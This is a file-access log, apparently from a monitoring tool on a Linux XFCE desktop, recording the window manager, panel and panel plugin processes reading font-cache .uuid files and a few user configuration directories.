Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.drirc
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.local
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.config
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.local
Source: /usr/bin/xfce4-panel (PID: 6546)	Directory: /home/saturnino/.config
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6653)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6655)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
